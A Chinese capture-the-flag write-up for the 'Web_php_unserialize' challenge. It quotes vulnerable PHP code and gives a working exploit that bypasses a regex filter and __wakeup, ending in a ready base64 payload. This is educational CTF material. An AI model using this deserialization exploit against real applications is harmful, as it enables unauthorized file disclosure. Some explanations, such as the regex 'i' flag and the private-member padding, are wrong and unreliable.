攻防世界系列:Web_php_unserialize
0x01.代碼審計
1.類Demo中struct()、destruct()函數分別在代碼執行開始和結束時調用。而wakeup函數會在代碼執行過程中自動調用。
2.對於我們傳入的參數還要被preg_math()函數過濾。
3.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。當反序列化中object(對象)的個數和之前的個數不等時,wakeup就會被繞過。
4.flag 在 fl4g.php 文件中,要想顯示該文件需要繞過
第一:
preg_match('/[oc]:\d+:/i', $var)
第二:
function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } }
wakeup 函數是魔術用法會在對象反序列化時自動執行。
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php
$this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
補充:
1.反序列化漏洞?
php中提供兩個函數可將任意類型數據轉換成string類型,或逆過程。
Serizlaze
Unserialize
當unserialize的參數被用戶控制時,就會形成反序列化漏洞。
2.魔術函數?
magic函數,通常以“__"開頭(如__construct\__destruct\__toString\__sleep\__wakeup)
__toString當對象被以字符串輸出時調用
__sleep當對對象序列化時調用(如果存在的話),常用於提交未提交的數據
__wakeup當對對象反序列化時調用(如果存在的話),常用於重新建立數據庫連接,或執行其他初始化操作
0x02.參數構造
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php
$this->file = 'index.php'; } } } $A = new Demo('fl4g.php'); $C = serialize($A); //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//繞過preg_match
$C = str_replace(':1:', ':2:',$C);//繞過wakeup
var_dump($C); //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C)); //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
1.
我們構造腳本把字符串 fl4g.php 序列化后層層偽裝,在進行base64加密(因為源代碼中有base64解密)
字符串" fl4g.php " 序列化后為 "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
2.
preg_match('/[oc]:\d+:/i', $var)
--- preg_match正則函數
--- \d 整形數
--- i 區分大小寫
函數想過濾 “ O:4 ”我們就偽裝成“O:+4” 即$C = str_replace('O:4', 'O:+4',$C);//繞過preg_match
3.
function __wakeup() {
if ($this->file != 'index.php')
{
//the secret is in the fl4g.php
$this->file = 'index.php';
}
當反序列化后的對象個數大於原來的個數時 wakeup函數就會被繞過,所以我們可以把對象個數寫成2個
$C = str_replace(':1:', ':2:',$C);//繞過wakeup
注意:
$file 是私有成員序列化之后字符串首尾會多出兩個空格 “%00*%00”,所以base64加密最好在代碼中執行防止復制漏掉
00x3.Get Flag
輸出運行結果:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
傳參var